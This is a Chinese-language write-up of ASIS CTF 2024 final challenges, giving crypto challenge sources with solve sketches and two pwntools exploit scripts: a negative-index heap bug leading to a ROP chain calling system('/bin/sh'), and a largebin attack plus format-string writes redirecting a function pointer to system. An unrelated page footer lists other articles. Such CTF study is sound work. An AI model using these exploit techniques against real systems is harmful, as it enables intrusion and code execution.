[ASISCTF 2024 final]

过去有些日子的比赛的,国外很多比赛题目水平很高。没事的时候拿来作作。只是WP不全我不会的大多没有。

Crypto

Lozib

这个题就挺有意思。由于远程都关了,只在本地把思路作了下。

#!/usr/bin/env python3import sys
from Crypto.Util.number import *
from random import *
from math import gcd
from flag import flagdef die(*args):pr(*args)quit()def pr(*args):s = " ".join(map(str, args))sys.stdout.write(s + "\n")sys.stdout.flush()def sc():return sys.stdin.buffer.readline()def main():border = "┃"pr(        "┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓")pr(border, ".:::    Welcome to the Lozib unbreakable cryptography task!   ::.", border)pr(border, ".: Your mission is to find flag by analyzing the crypto-system :.", border)pr(border, ".: Lozib are generating the parameters, please be patient ...  :.", border)pr(        "┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛")global flagflag = bytes_to_long(flag)nbit = 4096p = getPrime(nbit)while True:pr(f"{border} Options: \n{border}\t[E]ncrypt the flag! \n{border}\t[G]et the parameters! \n{border}\t[Q]uit")ans = sc().decode().strip().lower()if ans == 'g':pr(border, f'p = {p}')elif ans == 'e':_b = Falsepr(border, f'Please provide {nbit}-bit integer g: ')inp = sc().decode().strip()try:g = int(inp)if g.bit_length() == nbit and gcd(g, p - 1) == 1 and pow(g, (p - 1) // 2, p) != 1:pr(border, f'Now, please send an desired integer: ')inp = sc().decode().strip()a = int(inp)if a.bit_length() == nbit >> 1:n = pow(g, 2 * a, p) - aif n > 0:e = pow(flag, 1234567891, n)_b = Trueexcept:die(border, f'The input you provided is not valid! Bye!!')if _b:pr(border, f'e = {e}')else:die(border, f'The input you provided is not valid! Bye!!')elif ans == 'q':die(border, "Quitting...")else:die(border, "Bye...")if __name__ == '__main__':main()

代码稍冗,

1,先是生成一个素数p给出,

2,然后要求输入g要求通过检查:位数为4096,gcd(g,p-1)==1,pow(g,(p-1)//2,p)!= 1

        其中前两个好办,第3项有个特值当g=p时结果为0,其它的时候会出很大的数比如7,11等

3,输入a 2048位,得到n=pow(g, 2 * a, p) - a 然后给出用n为模加密的密文

所以这里就是个脑筋转弯的问题,当7,11这样的出现巨大的数显然不可控,所以g只能选p这样n=-a,这时候负数模其实很少见的。不过可能理解为 n = -1*a 用n的一个因子a来求解。

下边是模拟示意。

#输入g = p 通过检查
assert gcd(g, p - 1) == 1 
assert pow(g, (p - 1) // 2, p) != 1#生成1个素数2048位
a = getPrime(2048)
n = -a  #pow(g, 2 * a, p) - a
flag = b'ASIS{0000-0000-0000}'
flag = bytes_to_long(flag)#返回负的加密值 n = -1*a 用n的因子a解密
c = pow(flag,1234567891,n)
m = pow(c,invert(1234567891,a-1),a)
long_to_bytes(m)

prequel

一个coppersmith的题,很新颖,看了WP,就没的作了。

#!/usr/bin/env python3import sys
from Crypto.Util.number import *
from gmpy2 import *
from flag import flagsys.set_int_max_str_digits(31337)def keygen(nbit):p, q = [getPrime(nbit) for _ in '01']r = getRandomRange(int(sqrt(nbit)) - 6, int(sqrt(nbit)) - 2)el, eu = gmpy2.mpfr(0.313370), gmpy2.mpfr(0.313371)n = p ** r * qLB, UB = gmpy2.mpfr(n ** el), gmpy2.mpfr(n ** eu)while True:d = getRandomRange(int(LB), int(UB))if gcd(d, (p - 1) * (q - 1)) == 1:e = inverse(d, (p - 1) * p ** (r - 1) * (q - 1))pkey = (e, n)return pkey, pdef encrypt(pkey, m):e, n = pkeyreturn pow(m, e, n)nbit = 313
pkey, p = keygen(nbit)
leak = p >> (nbit - 110)
m = bytes_to_long(flag)
c = encrypt(pkey, m)print(f'{pkey = }')
print(f'{leak = }')
print(f'{c = }')

生成的n=p**14*q,d 约1468位,给出e,n

由于e*d = 1 mod phi = 1 mod p**13*(p-1)*(q-1) 所以e*d=1 mod p**13也成立。拿含有因子p**13的n作域求解。

#gmpy2.mpfr(n ** el), gmpy2.mpfr(n ** eu)  d约1468位
#mod n => mod p^13
P.<x> = PolynomialRing(Zmod(n))
f = e*x - 1
res = f.monic().small_roots(X=2^1468, beta=0.499)
d = res[0]
m = pow(c,d,n)

Strength

这个也是模拟的示意。没有真正弄环境。

#!/usr/bin/env python3import sys
from Crypto.Util.number import *
import hashlib
import time
#from flag import flagdef die(*args):pr(*args)quit()def pr(*args):s = " ".join(map(str, args))sys.stdout.write(s + "\n")sys.stdout.flush()def sc():return sys.stdin.buffer.readline()def maskit(s, r):_hash = hashlib.md5(s + r)return _hash.hexdigest()[:16]def get_values(b, _b, nbit):return [b[:i] or "L" for i in range(nbit) if b[i] == _b]def presend(X):_X = []for x in X:_X.append(maskit(secret, x.encode()))return _Xdef main():global secret, borderborder = "┃"pr(        "┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓")pr(border, ".:::        Greetings and welcome to the Strength task        :::.", border)pr(border, "Your task is simply :| to guess the size of two integers, which is", border)pr(border, "a really easy job, isn't it? Have fun and good luck :)            ", border)pr(        "┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛")c, nbit = 0, 256p, q = [getPrime(nbit >> 1) for _ in range(2)]n, secret = p * q, long_to_bytes(getRandomNBitInteger(nbit))m = bytes_to_long(flag.lstrip(b'ASIS{').rstrip(b'}'))assert m < nenc = pow(m, 0x10001, n)while True:pr(border, f"Please send your desired integer: ")_n = sc().decode()try:_n = int(_n)except:die(border, "[-] Your input is not valid!")_xB, _yB = [bin(_)[2:].zfill(nbit) for _ in [n, _n]]X, Y = get_values(_xB, '1', nbit), get_values(_yB, '0', nbit)print(X[:5],Y[:5])_X, _Y = presend(X), presend(Y)pr(border, "You are suppose to get much information now, ready? [Y]es or [N]o?")_ans = sc().decode().strip().lower()if _ans == 'y':for _ in range(max([len(_X), len(_Y)])):try:pr(border, f'Info: _X[{_}] = {_X[_]}')pr(border, f'Info: _Y[{_}] = {_Y[_]}')except:passelse:pr(border, "I wonder how you will answer the following question? :/")pr(border, f"Could you please tell me which number is greater: n or yours?")res = sc().decode().strip().lower()if not res in {"n", "y"}:die(border, "[-] Bad response! Start again!") if (n <= _n and res == "y") or (n >= _n and res == "n"):c += 1pr(border, f"---- {c} ----")if c >= nbit * 0.666:die(border, f'[+] Congratulation! But you just got the encrypted flag: {enc}')else:die(border, "[-] Wrong response! Try again. Bye!!") if __name__ == '__main__':main()

题目生成p,q,n=p*q给出n,这是的p,q都只有128位很小。

然后给了一个循环,可以输入数字,并会把n和_n分别按1和0切成块,然后每块作md5并取前一半为mark.比如 n=0b1010011 第1位是1,则返回第1块为‘L’,第2块从下个1前切即10,第3块为10100,第4块为101001,而输入的_n则是用0切方法同上。

第2步则是判断n与_n的大小,这个不用管,你一直让_n小就行了。

这个题就是要构造一个数来得到与切出的块相同,则通通过半个md5值得到n的部分位。

大致思路如下:

当用1切时,每一块的值为(假设上一块为a): a+'1'+'0'*k 这里0的数量可以为0

所以要构造这个_n就要让加1然后后边全设置为0,与第1个块md5(为方便可以不加md5直接用字符串也能比较相同)相同就是几个0,比如上例中第2块为10,而输入的值用0切只需要输入100000..这样会切出1,10,100,...等块如果与第1块相同就原块就是1,与第2块相同原块就是10

另外一个坑点就是这里的try导致输出并不完全,一但下标越界两个就都不输出,所以最好的办法是爆破一个n里1和0数量相近的情况。经过几次测试发现这种情况很容易得到大概3-4次就会出一个127个0或1的情况。这样用前边的方法就能爆破得到253位左右的n。

这题并不用输入正确的n,只要消耗到足够的次数(可以一直输入同一个数)就可以得到密文。

对爆破得到的多人个判定哪个是真正的n的方法也简单分解一下即可,大概率不是正确的n会马上分解出小因子。而真正的n只有256位用yafu可以分解。然后就是的RSA解下密就OK

也许可几天能看到WP有更好的思路。

以下是模拟的作法

#!/usr/bin/env python3import sys
from Crypto.Util.number import *
import hashlib
import time
#from flag import flag
flag = b'ASIS{0000-0000-0000}'
secret = b'\xfe\x17=p\x13\x9e\xca\x13\xbb\xbf\xb8\x11\x98\xc5\xf7Gd\xe2x\xa1[\x8e=\xc6n\xfea\xbf\x880\xdd\xed'
c, nbit = 0, 256def maskit(s, r):_hash = hashlib.md5(s + r)return _hash.hexdigest()[:16]def get_values(b, _b, nbit):return [b[:i] or "L" for i in range(nbit) if b[i] == _b]def presend(X):_X = []for x in X:_X.append(maskit(secret, x.encode()))return _Xclass Strength:#爆破n中1和0数量近的情况n = 69425516840202926852427689992596087680390054969809045447441776586380876898441def get(self, _n):_xB, _yB = [bin(_)[2:].zfill(nbit) for _ in [self.n, _n]]X, Y = get_values(_xB, '1', nbit), get_values(_yB, '0', nbit)_X, _Y = presend(X), presend(Y)#print(len(_X),len(_Y))l = min(len(_X),len(_Y))return (_X[:l],_Y[:l])you = Strength()i_idx = 1
j_idx = 0
head = '1'
while len(head)<256:tmp = head.ljust(500,'0')X,Y = you.get(int(tmp,2))_Y = get_values(tmp, '0', nbit)#print(X,Y,_Y)if i_idx>=len(X)-1:print(len(head))print('X over')breakv = X[i_idx]for i in range(j_idx,len(Y)):if X[i_idx]== Y[i]:breakhead = _Y[i]+'1'if i== len(Y)-1:print(head)print('Y over')  breakprint(head)i_idx+=1j_idx+=i-j_idx print('idx:',i_idx,j_idx, len(X),len(_Y))#重复运行到171次得到enc再爆破n 
if len(head)>=252:#...

Hofar

这个百思不得其姐。猜是当N-1含大量小素数是求DLP,试也没试成

#!/usr/bin/env python3import sys
from Crypto.Util.number import *
import os
from flag import flagdef die(*args):pr(*args)quit()def pr(*args):s = " ".join(map(str, args))sys.stdout.write(s + "\n")sys.stdout.flush()def sc(): return sys.stdin.buffer.readline()def next_prime(n):while True:if isPrime(n):return nelse:n += 1def main():border = "┃"pr(        "┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓")pr(border, ".:::           Welcome to the Hofar cryptography task!         ::.", border)pr(border, ".:: Your mission is to find flag by analysing the Hofar oracle ::.", border)pr(        "┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛")nbit, _b = 1024, Falsep, q = [getPrime(nbit) for _ in range(2)]m, n = bytes_to_long(flag + os.urandom(255 - len(flag))), p * qg, N, c = pow(m, 0x10001, n), next_prime(n), 0_U, _V = [], []while True:pr(f"{border} Options: \n{border}\t[G]et parameters \n{border}\t[T]ry Hofar Oracle! \n{border}\t[Q]uit")ans = sc().decode().strip().lower()if ans == 'g':pr(border, f'g = {g}')pr(border, f'N = {N}')elif ans == 't':pr(border, f"Please provide your desired integers:")inp = sc().decode()try:u, v = [abs(int(_)) for _ in inp.split(',')]if (nbit >= u.bit_length() >= nbit - 1 and nbit >= v.bit_length() >= nbit - 1 andu not in _U and v not in _V):_U.append(u)_V.append(v)_b = Trueexcept:die(border, f"The input you provided is not valid!")if _b:pr(border, f'pow(g, p ^ u + q ^ v, n) = {pow(g, (p ^ u) + q ^ v, N)}')c += 1if c >= (nbit >> 3):die(border, f"You can use this Hofar oracle at most {nbit >> 3} times! Bye!!")else:die(border, f"Your input does not meet the requirements!!!")elif ans == 'q':die(border, "Quitting...")else:die(border, "Bye...")if __name__ == '__main__':main()

先是生成p,q,n=p*q然后对flag加密得到g,g=pow(m,0x10001,n)然后给出N(N=next_prime(n))允许输入最多u,v共128次返回 pow(g, (p ^ u) + q ^ v, N)

猜一个思路:

由于N没有特意生成,只是取的next_prime,所以当N-1中含1024以上位的小因子时可以求p

第1次输入u=v=(1<<2048)-1,得到c1=pow(g,(p^u)+q^v,N)=pow(g,p-q,N)

第2次输入u=v=(1<<2000)差不多就行,得c2=pow(g,p+q,N)

两式相乘得到c3=c1*c2 = g**2p %N ,这样当N可以分解出至少总计1024位的小因子里可以PH方法求p

试也没试成,哪里找那么善解人意的N去。还是等WP吧。

PWN

作了两个 pwn题,第3个看都没看懂。同样没有环境,本地也是大概意思。

ToDo

一个堆题,环境用的24.04这个是libc-2.39不过不用管版本,如果打栈的话版本基本无关。

有add,free,edit,show 4个菜单,找了两圈才找着漏洞。在edit里idx允许负数造成向前越界(只有edit有,其它菜单都有检查)

int m3edit()
{__int16 v1; // [rsp+6h] [rbp-Ah]unsigned __int64 v2; // [rsp+8h] [rbp-8h]printf("Enter index of the todo: ");v1 = readint();if ( v1 > 15 || !*((_QWORD *)&unk_4050 + 3 * v1) )return puts("Bad index");printf("Enter content size: ");v2 = readint();if ( *((_QWORD *)&unk_4040 + 3 * v1) < v2 )return puts("Bad size");printf("Enter content: ");return read_str(*((void **)&unk_4050 + 3 * v1), v2);
}

那么就在指针前边找可用的负指针,由于可写位置很小,只有chunk-0x48的地方可借用,利用bss开头的指向自己的指针。

先修改自己1字节指向块1,再修改块1的指针,能控制指针就能任意泄露任意写了。(没有环境,意思到这,也许只允许ORW呢,不过影响不大)

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./todo')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')def add(size, msg1,msg2):p.sendlineafter(b"> ", b'1')p.sendafter(b"Enter Title: ", msg1)p.sendlineafter(b"Enter Length of Content: ", str(size).encode())p.sendafter(b"Enter Content: ", msg2)def free(idx):p.sendlineafter(b"> ", b'2')p.sendlineafter(b"Enter index of the todo: ", str(idx).encode())def edit(idx,msg):p.sendlineafter(b"> ", b'3')p.sendlineafter(b"Enter index of the todo: ", str(idx).encode())p.sendlineafter(b"Enter content size: ", str(len(msg)+1).encode())p.sendafter(b"Enter content: ", msg)def show(idx):p.sendlineafter(b"> ", b'4')p.sendlineafter(b"Enter index of the todo: ", str(idx).encode())'''
-3 F8: 0x00007ffff7e05e80 0x0000000000000000  0x0000555555558008
-2 10: 0x0000000000000000 0x0000000000000000  <stdout>0x00007ffff7f9b760
-1 28: 0x0000000000000000 <stdin>0x00007ffff7f9aa80   0x00000000000000000 40:
'''p = process('./todo')add(0x500,b'1',b'1')
add(0x18,b'1',b'1')
free(0)
add(0x500,b'1',b'\xc0')
show(0)
p.recvuntil(b"Content: ")
libc.address = u64(p.recv(6)+b'\0\0') - 0x1d2cc0
print(f'{libc.address = :x}')edit(-3, b'\x40')  #修改指针指向块1
edit(-3, flat(0x10,libc.sym['_environ'], libc.sym['_environ'])) #块1指向environ泄露栈地址#gdb.attach(p, "b*0x55555555582f\nc")show(0)
p.recvuntil(b"Content: ")
stack = u64(p.recv(6)+b'\0\0') - 0x130
print(f"{stack = :x}")pop_rdi = libc.address + 0x0000000000027725 # pop rdi ; ret
edit(-3, flat(0x30,stack,stack)) #指向栈地址,写ROP
edit(0, flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))p.interactive()

Accounting

这个看起来非常乱,菜单很多。有用的结构和指针有以下几个:

1,new_user 在+5040处,结构为:Balance:long,id:long,name:16,func_ptr:long

2,order 在+50c0处,结构为:msg:0x20,order:long

3,user_addr在+5140处,结构为:state:16,?:8,house:long,zip:8,city:16,addr:size

4,inused在+51c0处,int

5,log_level: +5208

有两个漏洞:

第1个在showhighestorder,在循环中如果没找到最大值则v1为-1,属于初始化了的未初始化漏洞。利用这个漏洞可以实现show(-1) 当user[15]存在时可以得到user+0x20处的函数指针(得到加载地址)

int m4show()
{unsigned int v1; // [rsp+8h] [rbp-8h]int i; // [rsp+Ch] [rbp-4h]v1 = -1;for ( i = 0; i <= 15; ++i ){if ( dword_51C0[i] && (v1 == -1 || *(_QWORD *)(qword_50C0[v1] + 32LL) < *(_QWORD *)(qword_50C0[i] + 32LL)) )v1 = i;}printf("idx: %d\n", v1);printf("Highest number of orders: %lu\n", *(_QWORD *)(qword_50C0[v1] + 32LL));puts("Person:");return m3show_2(v1);
}

第2个漏洞在editaddress,这个菜单没检查inused标记,当一个在址块删除以后依然能修改+0x18处的long值,对于libc-2.39来说就是largebinAttack用的bknextsize处。自用它修改log_level,使其大于2,再建的块show的时候就含有一条printf(addr+0x38)

unsigned __int64 m4edit_address()
{int v1; // [rsp+8h] [rbp-18h] BYREFint index; // [rsp+Ch] [rbp-14h]__int64 v3; // [rsp+10h] [rbp-10h]unsigned __int64 v4; // [rsp+18h] [rbp-8h]v4 = __readfsqword(0x28u);index = read_index();v3 = qword_5140[index];puts("Select field to edit: ");puts("1. State");puts("2. City");puts("3. Zip Code");puts("4. House Number");printf("> ");__isoc99_scanf("%d", &v1);if ( v1 <= 0 || v1 > 4 )exit(1);switch ( v1 ){case 1:puts("Unable to change State!");break;case 2:printf("City: ");__isoc99_scanf("%15s", v3 + 40);break;case 3:printf("Zip Code: ");__isoc99_scanf("%lu", v3 + 32);break;default:printf("House Number: ");__isoc99_scanf("%lu", v3 + 24);break;}return v4 - __readfsqword(0x28u);
}
_DWORD *m1add()
{_DWORD *result; // raxint v1; // [rsp+Ch] [rbp-4h]v1 = read_index();if ( dword_51C0[v1] )free(*((void **)&unk_5040 + v1));*((_QWORD *)&unk_5040 + v1) = malloc(0x28uLL);qword_5140[v1] = 0LL;printf("Customer Id: ");__isoc99_scanf("%lu", *((_QWORD *)&unk_5040 + v1) + 8LL);printf("Name: ");__isoc99_scanf("%15s", *((_QWORD *)&unk_5040 + v1) + 16LL);sub_1392(*((_QWORD *)&unk_5040 + v1) + 16LL);printf("Current Balance: ");__isoc99_scanf("%lu", *((_QWORD *)&unk_5040 + v1));*(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = log_0;if ( qword_5208 == 2 ){*(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = log_2;goto LABEL_10;}if ( (unsigned __int64)qword_5208 > 2 )goto LABEL_9;if ( qword_5208 ){if ( qword_5208 == 1 ){*(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = log_1;goto LABEL_10;}
LABEL_9:*(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = &printf;}
LABEL_10:result = dword_51C0;dword_51C0[v1] = 1;return result;
}

思路就是先用show(-1)得到加载地址,再用largebinAttack修改log_level,然后用printf。

不过由于这个printf不在栈内,而且可打的位置比较多,所以选择是打栈还是改func_ptr想了两个钟头。最后还是决定修改func_ptr指针把printf改为system只有3个字节。因为没有退出的话打栈也不大方便,跳出这个得把返回地址改成leave ret,写的地方比较多。

修改指针其实也不方便,利用rbp指针 #22->#42->#54 用22修改42,再用42在54处写一个指向堆里func_ptr的指针。再用42修改54的尾字节,再用54修改func_ptr里printf的尾3字节。然后show一个/bin/sh

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./accounting')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8_amd64/libc.so.6')#5040[] -> Balance:long,id:long,name:16,ptr:long
def add_user(idx, id=0, name=b'a', balance=0):p.sendline(b"newperson")p.sendlineafter(b"index: ", str(idx).encode())p.sendlineafter(b"Customer Id: ", str(id).encode())p.sendlineafter(b"Name: ", name)p.sendlineafter(b"Current Balance: ", str(balance).encode())#5140[] -> state:16,?:8,house:long,zip:8,city:16,addr:size
def add_addr(idx, size, state=b'A',city=b'A',zipcode=0, num=0, addr=b'/bin/sh\0'):p.sendline(b"setaddress")p.sendlineafter(b"index: ", str(idx).encode())p.sendlineafter(b"Full address length: ", str(size).encode())  p.sendlineafter(b"State: ", state)  p.sendlineafter(b"City: ", city)  p.sendlineafter(b"Zip Code: ", str(zipcode).encode())  p.sendlineafter(b"House Number: ", str(num).encode())  p.sendafter(b"Full Address: ", addr)  sleep(0.2)def free(idx):p.sendline(b"delperson")p.sendlineafter(b"index: ", str(idx).encode())def show_high():p.sendline(b"showhighestorder")def edit_addr(idx,addr):p.sendline(b"editaddress")p.sendlineafter(b"index: ", str(idx).encode())p.sendlineafter(b"> ", b'4')p.sendafter(b"House Number: ", str(addr).encode())def edit_zip(idx,addr):p.sendline(b"editaddress")p.sendlineafter(b"index: ", str(idx).encode())p.sendlineafter(b"> ", b'3')p.sendafter(b"Zip Code: ", str(addr).encode())def show(idx):p.sendline(b"show")p.sendlineafter(b"index: ", str(idx).encode())p = process('./accounting')add_user(15)
free(15)
show_high()  #no order set,return -1: 50c0[-1]=5040[15]
p.recvuntil(b"Highest number of orders: ")
elf.address = int(p.recvline()) - 0x12f9
print(f"{elf.address = :x}")for i in range(5):add_user(i)#largebin attack  在log_level写入堆地址,使log_level>2,新建块时func为printf,用show执行printf(addr+0x38)
add_addr(0,0x4d0)
add_addr(1,0x300)
add_addr(2,0x4c0)
free(0)
add_addr(3,0x4f0)
free(2)
edit_addr(0, elf.address +0x5208 -0x20)
add_addr(4,0x4f0)   #+5208=addr#log>0 user+0x20=&printf 利用printf泄露地址
add_user(5)
pay = b'%22$p %23$p %10$p '
add_addr(5,0x4f0, addr=pay)#gdb.attach(p, "b*0x555555555b41\nc")
show(5)
p.recvuntil(b"Address: \n")
stack = int(p.recvuntil(b' '), 16) #22:de70->42:df10->54:df70
libc.address = int(p.recvuntil(b' '), 16) - 0x2a1ca
heap = int(p.recvuntil(b' '), 16) - 0x2f60 
user3 = heap+0x2500
print(f"{stack = :x} {libc.address = :x} {heap = :x}")
stack2 = stack+0x60'''
0x00007fffffffddf0│+0x0000: 0x0000000000000001   ← $rsp
0x00007fffffffddf8│+0x0008: 0x00000000cdb8e400
0x00007fffffffde00│+0x0010: 0x00007fffffffde20  →  0x00007fffffffde70  →  ...
0x00007fffffffde08│+0x0018: 0x0000555555555b9d  →   nop #堆地址
0x00007fffffffde10│+0x0020: 0x000055555555e000 
#rbp链 22->42->54->chunk6
0x00007fffffffde70│+0x0080: 0x00007fffffffdf10  →  0x00007fffffffdf70  →  0x0000000000000000 
#libc
0x00007fffffffde78│+0x0088: 0x00007ffff7c2a1ca  →   mov edi, eax
'''#22:de70->42:df10->54:df70
#printf modify usr[1]+0x20 = system 
#chunk1+0x20 = heap+0x16f0+0x20
#新建块时func为printf  printf与system差3字节
add_user(6)
add_addr(6,0x500, addr= b'/bin/sh\0')
'''
gef➤  x/8gx 0x000055555555d6c0
0x55555555d6c0: 0x0000000000000000      0x0000000000000000
0x55555555d6d0: 0x0000000000000061      0x0000000000000000
0x55555555d6e0: 0x00007ffff7c600f0      printf->system
'''
target = chunk6 = heap+0x16c0+0x20
v1 = target&0xffff
v2 = (target>>16)&0xffff
v3 = (target>>32)#在偏移54处写一个指向chunk6.func的地址
#22->42->54->chunk6.func
#54->chunk6+0x20
for i,v in enumerate([v1,v2,v3]):add_addr(5,0x500, addr= f"%{v}c%42$hn".encode())show(5)p.recvuntil(b'Balance:')if i==2:add_addr(5,0x500, addr= f"%{(stack2)&0xff}c%22$hhn".encode())else:add_addr(5,0x500, addr= f"%{(stack2+2*i+2)&0xff}c%22$hhn".encode())show(5)p.recvuntil(b'Balance:')#修改chunk6.func 从printf改为system
target = libc.sym['system']
v1 = target&0xff
v2 = (target>>8)&0xff
v3 = (target>>16)&0xff
#42->54->chunk6.func
for i,v in enumerate([v1,v2,v3]):add_addr(5,0x500, addr= f"%{v}c%54$hhn".encode())show(5)p.recvuntil(b'Balance:')add_addr(5,0x500, addr= f"%{(chunk6+i+1)&0xff}c%42$hhn".encode())show(5)p.recvuntil(b'Balance:')show(6)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/66695.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

国产编辑器EverEdit - 扩展脚本:关闭所有未修改文档

1 扩展脚本&#xff1a;关闭所有未修改文档 1.1 应用场景 当用户打开过多文档时&#xff0c;部分文档已经修改&#xff0c;而大部分没有修改&#xff0c;为了减少在众多已打开文档中来回跳转的不便&#xff0c;可以将没有修改的文档全部关闭&#xff0c;但目前提供的快速关闭窗…

高斯函数Gaussian绘制matlab

高斯 约翰卡尔弗里德里希高斯&#xff0c;&#xff08;德语&#xff1a;Johann Carl Friedrich Gau&#xff0c;英语&#xff1a;Gauss&#xff0c;拉丁语&#xff1a;Carolus Fridericus Gauss&#xff09;1777年4月30日–1855年2月23日&#xff0c;德国著名数学家、物理学家…

dolphinscheduler2.0.9升级3.1.9版本问题记录

相关版本说明 JDK&#xff1a;JDK (1.8&#xff09; DolphinScheduler &#xff1a;3.1.9 数据库&#xff1a;MySQL (8)&#xff0c;驱动&#xff1a;MySQL JDBC Driver 8.0.16 注册中心&#xff1a;ZooKeeper (3.8.4) 问题一&#xff1a;dolphinscheduler2.0.9对应zk版本使用…

Sqoop1.4.7安装

环境说明 准备三台服务器&#xff0c;分别为&#xff1a;bigdata141&#xff08;hadoop 主节点&#xff09;、bigdata142、bigdata143确保 hadoop 集群先启动好&#xff0c;hadoop 版本为 3.2.0如果只安装不使用的话&#xff0c;以上可以暂时不用管另准备一台服务器&#xff0…

每日学习30分轻松掌握CursorAI:初识Cursor AI

初识Cursor AI 一、什么是Cursor AI&#xff1f; Cursor AI是一款革命性的AI驱动型代码编辑器&#xff0c;它将传统的代码编辑功能与先进的人工智能技术相结合。它不仅是一个编辑器&#xff0c;更是一个智能编程助手&#xff0c;能够帮助开发者提高编码效率&#xff0c;解决编…

小米路由器IPv6 功能使用指南

本文不限于多层路由使用IPv6 的情况&#xff0c;提供解决IPv6 无法获取的更硬核的方法&#xff0c;需要有ssh 工具。&#xff08;无安卓设备&#xff0c;测试环境win、mac、ios&#xff09; 首先明确一点&#xff0c;就是如果想让你的设备得到GUA 地址&#xff0c;即访问 6.i…

云商城--业务+架构学习和环境准备

云商城业务架构学习和环境准备 B2B&#xff1a;Business to Business&#xff0c;交易双方的身份都是商家&#xff0c;也就是商家将商品卖给商家&#xff0c;类似采购、批发类购物&#xff0c;国内代表性网站阿里巴巴批发网 C2C&#xff1a;Customer to Customer&#xff0c;…

机器视觉系统中的重要配件--棱镜

在一套机器视觉系统中&#xff0c;人们一直比较注中工业相机、工业镜头及光源等重要的视觉器件&#xff0c;而小配件通常被忽视&#xff0c;虽然只是配角&#xff0c;但是却起着重要作用。以下以茉丽特镜头为例。 在构建视觉系统当中&#xff0c;遇到某个方向空间不足时&#x…

软件系统安全逆向分析-混淆对抗

1. 概述 在一般的软件中&#xff0c;我们逆向分析时候通常都不能直接看到软件的明文源代码&#xff0c;或多或少存在着混淆对抗的操作。下面&#xff0c;我会实践操作一个例子从无从下手到攻破目标。 花指令对抗虚函数表RC4 2. 实战-donntyousee 题目载体为具有漏洞的小型软…

#渗透测试#网络安全# 一文了解什么是跨域CROS!!!

免责声明 本教程仅为合法的教学目的而准备&#xff0c;严禁用于任何形式的违法犯罪活动及其他商业行为&#xff0c;在使用本教程前&#xff0c;您应确保该行为符合当地的法律法规&#xff0c;继续阅读即表示您需自行承担所有操作的后果&#xff0c;如有异议&#xff0c;请立即停…

ClickHouse vs StarRocks 选型对比

一、面向列存的 DBMS 新的选择 Hadoop 从诞生已经十三年了&#xff0c;Hadoop 的供应商争先恐后的为 Hadoop 贡献各种开源插件&#xff0c;发明各种的解决方案技术栈&#xff0c;一方面确实帮助很多用户解决了问题&#xff0c;但另一方面因为繁杂的技术栈与高昂的维护成本&…

Win11家庭版转专业版

Win11家庭版转专业版&#xff08;亲测有效&#xff09; 第一步 【断网】输入这个密钥&#xff1a; R8NJ8-9X7PV-C7RCR-F3J9X-KQBP6 第二步 点击下一步会自动重启 第三步 【联网】输入这个密钥&#xff1a; F3NWX-VFMFC-MHYYF-BCJ3K-QV66Y 注意 两次输入密钥的地方一致 …

IP 地址与蜜罐技术

基于IP的地址的蜜罐技术是一种主动防御策略&#xff0c;它能够通过在网络上布置的一些看似正常没问题的IP地址来吸引恶意者的注意&#xff0c;将恶意者引导到预先布置好的伪装的目标之中。 如何实现蜜罐技术 当恶意攻击者在网络中四处扫描&#xff0c;寻找可入侵的目标时&…

【Word_笔记】Word的修订模式内容改为颜色标记

需求如下&#xff1a;请把修改后的部分直接在原文标出来&#xff0c;不要采用修订模式 步骤1&#xff1a;打开需要转换的word后&#xff0c;同时按住alt和F11 进入&#xff08;Microsoft Visual Basic for Appliations&#xff09; 步骤2&#xff1a;插入 ---- 模块 步骤3&…

[0405].第05节:搭建Redis主从架构

Redis学习大纲 一、3主3从的集群配置&#xff1a; 1.1.集群规划 1.分片集群需要的节点数量较多&#xff0c;这里我们搭建一个最小的分片集群&#xff0c;包含3个master节点&#xff0c;每个master包含一个slave节点&#xff0c;结构如下&#xff1a; 2.每组是一主一从&#x…

科研绘图系列:R语言绘制分组箱线图(boxplot)

禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍加载R包数据下载导入数据数据预处理画图输出系统信息介绍 科研绘图系列:R语言绘制分组箱线图(boxplot) 加载R包 library(ggpubr) library(ggplot2) library(tidyverse) # dev…

Hadoop - MapReduce编程

文章目录 前言一、创建mapreduce-demo项目1. 在idea上创建maven项目2. 导入hadoop相关依赖 二、MapReduce编程1. 相关介绍1.1 驱动类&#xff08;Driver Class&#xff09;1.1.1 驱动类的定义1.1.2 驱动类的功能1.1.3 驱动类的作用 1.2 Mapper1.2.1 Mapper 的定义1.2.2 Mapper …

原码的乘法运算>>>只有0,1

MQ : 乘数 X : 被乘数 ACC : 乘积高位 [当前位是1,加上被乘数; 当前位是 0,加上0] 例如: MQ的最低位是1,所以要加上被乘数(01101) >>>> 得出 01101 >>>>> ACC MQ 需要整体逻辑右移 (原本01101 01011 >>> 001101 0101) 现在的次低位是…

mapbox基础,style样式汇总,持续更新

